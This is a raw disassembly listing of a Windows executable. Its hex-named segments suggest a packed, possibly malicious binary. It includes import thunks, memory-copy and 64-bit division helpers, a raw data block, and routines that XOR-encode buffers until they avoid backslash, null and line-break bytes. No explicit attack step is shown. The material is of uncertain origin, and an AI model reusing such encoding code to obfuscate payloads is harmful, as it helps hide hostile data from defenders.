call ds:dword_4B3AB0
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, offset dword_43FA8C
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_42FF32
push ebx
push ebp
call eax
add esp, 8
loc_42FF32: ; CODE XREF: _294ADE7B:0042FF29j
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_42FF74: ; CODE XREF: _294ADE7B:0042FFEDj
push 5Ch
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FFB4
push 0
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FFB4
push 0Ah
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_42FFB4
push 0Dh
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jz short loc_42FFEF
loc_42FFB4: ; CODE XREF: _294ADE7B:0042FF82j
; _294ADE7B:0042FF92j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_42FFE6
loc_42FFD9: ; CODE XREF: _294ADE7B:0042FFE4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_42FFD9
loc_42FFE6: ; CODE XREF: _294ADE7B:0042FFD7j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_42FF74
; ---------------------------------------------------------------------------
loc_42FFEF: ; CODE XREF: _294ADE7B:0042FFB2j
mov eax, [esp+18h]
push eax
call ds:dword_4B3AAC
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, ds:dword_4B3AAC
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h] ; DATA XREF: _5AD6BD6B:off_43BD8Co
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4300F0: ; CODE XREF: _294ADE7B:00401839j
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
call ds:dword_4B3AB0
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call ds:dword_4B3AB0
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, offset dword_43FA8C
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43016D
push ebx
push ebp
call eax
add esp, 8
loc_43016D: ; CODE XREF: _294ADE7B:00430164j
push ebx
call ds:dword_4B3AB0
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_4301AF: ; CODE XREF: _294ADE7B:00430228j
push 5Ch
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_4301EF
push 0
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_4301EF
push 0Ah
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jnz short loc_4301EF
push 0Dh
push ebx
push ebp
call sub_4012F3
add esp, 0Ch
test al, al
jz short loc_43022A
loc_4301EF: ; CODE XREF: _294ADE7B:004301BDj
; _294ADE7B:004301CDj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_430221
loc_430214: ; CODE XREF: _294ADE7B:0043021Fj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_430214
loc_430221: ; CODE XREF: _294ADE7B:00430212j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_4301AF
; ---------------------------------------------------------------------------
loc_43022A: ; CODE XREF: _294ADE7B:004301EDj
mov eax, [esp+18h]
push eax
call ds:dword_4B3AAC
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, ds:dword_4B3AAC
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4302F8 proc near ; CODE XREF: _294ADE7B:00424817p
; _294ADE7B:00424854p
jmp ds:dword_4B3B68
sub_4302F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4302FE proc near ; CODE XREF: _294ADE7B:00424779p
jmp ds:dword_4B3B78
sub_4302FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430304 proc near ; CODE XREF: _294ADE7B:004246E1p
; _294ADE7B:0042486Cp ...
jmp ds:dword_4B3B74
sub_430304 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43030A proc near ; CODE XREF: _294ADE7B:004246ADp
jmp ds:dword_4B3B70
sub_43030A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430310 proc near ; CODE XREF: _294ADE7B:00424688p
; _294ADE7B:004246D0p ...
jmp ds:dword_4B3B6C
sub_430310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430316 proc near ; CODE XREF: _294ADE7B:004316EBj
; _294ADE7B:00431A65j ...
jmp ds:dword_4B3AF4
sub_430316 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430320 proc near ; DATA XREF: _8C6BDE73:off_437004o
; _8C6BDE73:00437018o ...
jmp ds:dword_4B3AF0
sub_430320 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AEC
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AE8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430332 proc near ; CODE XREF: _294ADE7B:00406890p
; sub_4068B0+11p ...
jmp ds:dword_4B3AE4
sub_430332 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AE0
; ---------------------------------------------------------------------------
jmp ds:dword_4B3ADC
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AD8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43034A proc near ; CODE XREF: sub_4068E0+47p
; sub_4068E0+9Ap ...
jmp ds:dword_4B3AD4
sub_43034A endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AD0
; ---------------------------------------------------------------------------
mov eax, ecx
mov dword ptr [eax], offset off_437100
retn 4
; ---------------------------------------------------------------------------
loc_430361: ; DATA XREF: _8C6BDE73:off_437100o
push esi
mov esi, ecx
call sub_430716
test byte ptr [esp+8], 1
jz short loc_430377
push esi
call sub_430332
pop ecx
loc_430377: ; CODE XREF: _294ADE7B:0043036Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430382 proc near ; CODE XREF: _294ADE7B:0040912Dp
; _294ADE7B:0040A4FDp
jmp ds:dword_4B3ACC
sub_430382 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AC8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_430390 proc near ; CODE XREF: sub_409B90+5p
; sub_40EB00+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4303B0
loc_43039C: ; CODE XREF: sub_430390+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_43039C
loc_4303B0: ; CODE XREF: sub_430390+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_430390 endp
; ---------------------------------------------------------------------------
align 10h
jmp ds:dword_4B3AC4
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AC0
; ---------------------------------------------------------------------------
jmp ds:dword_4B3ABC
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AB8
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AB4
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AB0
; =============== S U B R O U T I N E =======================================
sub_4303E4 proc near ; CODE XREF: _294ADE7B:00430414p
arg_0 = dword ptr 4
cmp ds:dword_4B2814, 0FFFFFFFFh
jnz short loc_4303F9
push [esp+arg_0]
call ds:dword_4B3A24
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4303F9: ; CODE XREF: sub_4303E4+7j
push offset dword_4B2804
push offset dword_4B2814
push [esp+8+arg_0]
call sub_43071C
add esp, 0Ch
retn
sub_4303E4 endp
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
call sub_4303E4
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AAC
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AA8
; ---------------------------------------------------------------------------
jmp ds:dword_4B3AA0
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A9C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43043A proc near ; CODE XREF: sub_417F90+28p
jmp ds:dword_4B3A98
sub_43043A endp
; =============== S U B R O U T I N E =======================================
sub_430440 proc near ; CODE XREF: sub_419EF0+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_430461
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_4304B1
; ---------------------------------------------------------------------------
loc_430461: ; CODE XREF: sub_430440+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_43046F: ; CODE XREF: sub_430440+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_43046F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_43049A
cmp edx, [esp+4+arg_4]
ja short loc_43049A
jb short loc_4304A2
cmp eax, [esp+4+arg_0]
jbe short loc_4304A2
loc_43049A: ; CODE XREF: sub_430440+4Aj
; sub_430440+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_4304A2: ; CODE XREF: sub_430440+52j
; sub_430440+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_4304B1: ; CODE XREF: sub_430440+1Fj
pop ebx
retn 10h
sub_430440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4304C0 proc near ; CODE XREF: sub_419EF0+30p
; sub_419EF0+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4304E2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_430523
; ---------------------------------------------------------------------------
loc_4304E2: ; CODE XREF: sub_4304C0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4304F0: ; CODE XREF: sub_4304C0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4304F0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_43051E
cmp edx, [esp+8+arg_4]
ja short loc_43051E
jb short loc_43051F
cmp eax, [esp+8+arg_0]
jbe short loc_43051F
loc_43051E: ; CODE XREF: sub_4304C0+4Ej
; sub_4304C0+54j
dec esi
loc_43051F: ; CODE XREF: sub_4304C0+56j
; sub_4304C0+5Cj
xor edx, edx
mov eax, esi
loc_430523: ; CODE XREF: sub_4304C0+20j
pop esi
pop ebx
retn 10h
sub_4304C0 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A94
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A90
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A8C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A88
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A84
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A80
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A7C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A78
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A74
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A70
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A6C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A64
; ---------------------------------------------------------------------------
jmp ds:dword_4B3B04
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A58
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A54
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A50
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A4C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A48
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A44
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A40
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A3C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4305A6 proc near ; CODE XREF: sub_42BFB0+37p
; sub_42E070+39p
jmp ds:dword_4B3A38
sub_4305A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4305AC proc near ; CODE XREF: _294ADE7B:0042C82Cp
jmp ds:dword_4B3A34
sub_4305AC endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A30
; ---------------------------------------------------------------------------
dd 74E8D0A1h, 870E1D3Ah, 0E8D0A143h, 9E3D7AF4h, 0A953A74Fh
dd 0CA952A54h, 3C79F2E5h, 93274F9Eh, 89122449h, 2851A244h
dd 12254A94h, 0F815FF89h, 59004B39h, 28040D83h, 83FF004Bh
dd 4B28140Dh, 15FFFF00h, 4B39FCh, 270C0D8Bh, 889004Bh
dd 3A0015FFh, 0D8B004Bh, 4B2708h, 8A10889h, 8B004B3Ah
dd 27F8A300h, 2EE8004Bh, 39000001h, 43FBB01Dh, 680C7500h
dd 430752h, 3A0C15FFh, 0E859004Bh, 0FAh, 43B41868h, 0B3146800h
dd 0E5E80043h, 0A1000000h, 4B2704h, 8D944589h, 0FF509445h
dd 4B270035h, 9C458D00h, 90458D50h, 0A0458D50h, 1415FF50h
dd 68004B3Ah, 43B210h, 43B00068h, 0B2E800h, 0C4830000h
dd 3A18A124h, 308B004Bh, 808C7589h, 3A75223Eh, 8C758946h
dd 0C33A068Ah, 223C0474h, 3E80F275h, 46047522h, 8A8C7589h
dd 74C33A06h, 76203C04h, 0D05D89F2h, 50A4458Dh, 37E815FFh
dd 45F6004Bh, 117401D0h, 0D445B70Fh, 3E800EEBh, 46D87620h
dd 0EB8C7589h, 580A6AF5h, 53535650h, 38C015FFh, 0E850004Bh
dd 0FFFD169Dh, 50984589h, 3AB815FFh, 458B004Bh, 8B088BECh
dd 884D8909h, 21E85150h, 59000000h, 658BC359h, 8875FFE8h
dd 3A2015FFh
db 4Bh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430716 proc near ; CODE XREF: _294ADE7B:00430364p
jmp ds:dword_4B3A2C
sub_430716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43071C proc near ; CODE XREF: sub_4303E4+23p
jmp ds:dword_4B3A28
sub_43071C endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A20
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A1C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A14
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A10
; ---------------------------------------------------------------------------
push 30000h
push 10000h
call sub_43076E
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A0C
; ---------------------------------------------------------------------------
xor eax, eax
retn
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A00
; ---------------------------------------------------------------------------
jmp ds:dword_4B39FC
; ---------------------------------------------------------------------------
jmp ds:dword_4B39F8
; ---------------------------------------------------------------------------
jmp ds:dword_4B3A60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43076E proc near ; CODE XREF: _294ADE7B:00430744p
jmp ds:dword_4B3AA4
sub_43076E endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B39B8
; ---------------------------------------------------------------------------
jmp ds:dword_4B39B4
; ---------------------------------------------------------------------------
loc_430780: ; DATA XREF: _8C6BDE73:00437F94o
jmp ds:dword_4B39B0
; ---------------------------------------------------------------------------
jmp ds:dword_4B39AC
; ---------------------------------------------------------------------------
jmp ds:dword_4B39A8
; ---------------------------------------------------------------------------
jmp ds:dword_4B39A4
; ---------------------------------------------------------------------------
jmp ds:dword_4B39A0
; ---------------------------------------------------------------------------
jmp ds:dword_4B399C
; ---------------------------------------------------------------------------
jmp ds:dword_4B39C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4307B0 proc near ; CODE XREF: sub_4178D0+190p
jmp ds:dword_4B3D0C
sub_4307B0 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B38D0
; ---------------------------------------------------------------------------
jmp ds:dword_4B38D4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38D8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38DC
; ---------------------------------------------------------------------------
jmp ds:dword_4B38E0
; ---------------------------------------------------------------------------
jmp ds:dword_4B38E4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38E8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38EC
; ---------------------------------------------------------------------------
jmp ds:dword_4B38F0
; ---------------------------------------------------------------------------
jmp ds:dword_4B38F4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38F8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38CC
; ---------------------------------------------------------------------------
jmp ds:dword_4B38C8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38C4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38C0
; ---------------------------------------------------------------------------
jmp ds:dword_4B38BC
; ---------------------------------------------------------------------------
jmp ds:dword_4B38B8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38B4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38B0
; ---------------------------------------------------------------------------
jmp ds:dword_4B38AC
; ---------------------------------------------------------------------------
jmp ds:dword_4B38A8
; ---------------------------------------------------------------------------
jmp ds:dword_4B38A4
; ---------------------------------------------------------------------------
jmp ds:dword_4B38A0
; ---------------------------------------------------------------------------
jmp ds:dword_4B389C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3898
; ---------------------------------------------------------------------------
jmp ds:dword_4B3894
; ---------------------------------------------------------------------------
jmp ds:dword_4B3890
; ---------------------------------------------------------------------------
jmp ds:dword_4B388C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3888
; ---------------------------------------------------------------------------
jmp ds:dword_4B3884
; ---------------------------------------------------------------------------
jmp ds:dword_4B38FC
; ---------------------------------------------------------------------------
jmp ds:dword_4B3880
; ---------------------------------------------------------------------------
jmp ds:dword_4B387C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3878
; ---------------------------------------------------------------------------
jmp ds:dword_4B3874
; ---------------------------------------------------------------------------
jmp ds:dword_4B3870
; ---------------------------------------------------------------------------
jmp ds:dword_4B386C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3868
; ---------------------------------------------------------------------------
jmp ds:dword_4B3864
; ---------------------------------------------------------------------------
jmp ds:dword_4B3860
; ---------------------------------------------------------------------------
jmp ds:dword_4B385C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3858
; ---------------------------------------------------------------------------
jmp ds:dword_4B3854
; ---------------------------------------------------------------------------
jmp ds:dword_4B3850
; ---------------------------------------------------------------------------
jmp ds:dword_4B384C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3848
; ---------------------------------------------------------------------------
jmp ds:dword_4B3844
; ---------------------------------------------------------------------------
jmp ds:dword_4B3840
; ---------------------------------------------------------------------------
jmp ds:dword_4B383C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3838
; ---------------------------------------------------------------------------
jmp ds:dword_4B3834
; ---------------------------------------------------------------------------
jmp ds:dword_4B3830
; ---------------------------------------------------------------------------
jmp ds:dword_4B382C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3828
; ---------------------------------------------------------------------------
jmp ds:dword_4B3824
; ---------------------------------------------------------------------------
jmp ds:dword_4B3820
; ---------------------------------------------------------------------------
jmp ds:dword_4B381C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3818
; ---------------------------------------------------------------------------
jmp ds:dword_4B3814
; ---------------------------------------------------------------------------
jmp ds:dword_4B3810
; ---------------------------------------------------------------------------
jmp ds:dword_4B380C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3808
; ---------------------------------------------------------------------------
jmp ds:dword_4B3804
; ---------------------------------------------------------------------------
jmp ds:dword_4B3800
; ---------------------------------------------------------------------------
jmp ds:dword_4B37FC
; ---------------------------------------------------------------------------
jmp ds:dword_4B37F8
; ---------------------------------------------------------------------------
jmp ds:dword_4B37F4
; ---------------------------------------------------------------------------
jmp ds:dword_4B37F0
; ---------------------------------------------------------------------------
jmp ds:dword_4B37EC
; ---------------------------------------------------------------------------
jmp ds:dword_4B37E8
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C18
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C14
; ---------------------------------------------------------------------------
jmp ds:dword_4B3730
; ---------------------------------------------------------------------------
jmp ds:dword_4B3778
; ---------------------------------------------------------------------------
jmp ds:dword_4B3774
; ---------------------------------------------------------------------------
jmp ds:dword_4B3770
; ---------------------------------------------------------------------------
jmp ds:dword_4B376C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3768
; ---------------------------------------------------------------------------
jmp ds:dword_4B3764
; ---------------------------------------------------------------------------
jmp ds:dword_4B3760
; ---------------------------------------------------------------------------
jmp ds:dword_4B375C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3758
; ---------------------------------------------------------------------------
jmp ds:dword_4B3754
; ---------------------------------------------------------------------------
jmp ds:dword_4B3750
; ---------------------------------------------------------------------------
jmp ds:dword_4B374C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3748
; ---------------------------------------------------------------------------
jmp ds:dword_4B3744
; ---------------------------------------------------------------------------
jmp ds:dword_4B3740
; ---------------------------------------------------------------------------
jmp ds:dword_4B373C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3738
; ---------------------------------------------------------------------------
jmp ds:dword_4B3734
; ---------------------------------------------------------------------------
jmp ds:dword_4B3728
; ---------------------------------------------------------------------------
jmp ds:dword_4B3724
; ---------------------------------------------------------------------------
jmp ds:dword_4B3720
; ---------------------------------------------------------------------------
jmp ds:dword_4B372C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3BE4
; ---------------------------------------------------------------------------
jmp ds:dword_4B3CA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4309FC proc near ; CODE XREF: sub_4279B0+E1p
jmp ds:dword_4B3CA4
sub_4309FC endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3CC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A08 proc near ; CODE XREF: sub_4279B0+D2p
jmp ds:dword_4B3CBC
sub_430A08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A0E proc near ; CODE XREF: sub_428720+187p
; sub_428720+26Ep
jmp ds:dword_4B3CB8
sub_430A0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A14 proc near ; CODE XREF: sub_4279B0+17Bp
; sub_428720+201p
jmp ds:dword_4B3CB4
sub_430A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A1A proc near ; CODE XREF: sub_4279B0+B1p
jmp ds:dword_4B3CB0
sub_430A1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A20 proc near ; CODE XREF: sub_4279B0+12Fp
; sub_428720+152p
jmp ds:dword_4B3CAC
sub_430A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A26 proc near ; CODE XREF: sub_4279B0+1B1p
; sub_4279B0+1E4p ...
jmp ds:dword_4B3CA8
sub_430A26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A2C proc near ; CODE XREF: sub_428340+9Ap
; sub_428EF0+45p ...
jmp ds:dword_4B3C9C
sub_430A2C endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A38 proc near ; CODE XREF: sub_427930+10p
jmp ds:dword_4B3C48
sub_430A38 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C4C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A4A proc near ; CODE XREF: sub_428720+239p
jmp ds:dword_4B3C54
sub_430A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A50 proc near ; CODE XREF: sub_428720+226p
jmp ds:dword_4B3C58
sub_430A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A56 proc near ; CODE XREF: sub_428020+71p
; sub_428C00+50p
jmp ds:dword_4B3C5C
sub_430A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A5C proc near ; CODE XREF: sub_42EA30+Bp
jmp ds:dword_4B3C60
sub_430A5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A62 proc near ; CODE XREF: sub_428C00+EDp
jmp ds:dword_4B3C64
sub_430A62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A68 proc near ; CODE XREF: sub_418DA0+92p
; sub_418F60+CAp ...
jmp ds:dword_4B3C68
sub_430A68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A6E proc near ; CODE XREF: sub_427DF0+E5p
; sub_428E10+4Fp
jmp ds:dword_4B3C6C
sub_430A6E endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3CC4
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C74
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C78
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C7C
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C80
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C84
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_430A98 proc near ; CODE XREF: sub_4279B0+162p
; sub_428720+1BAp ...
jmp ds:dword_4B3C88
sub_430A98 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4B3C8C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
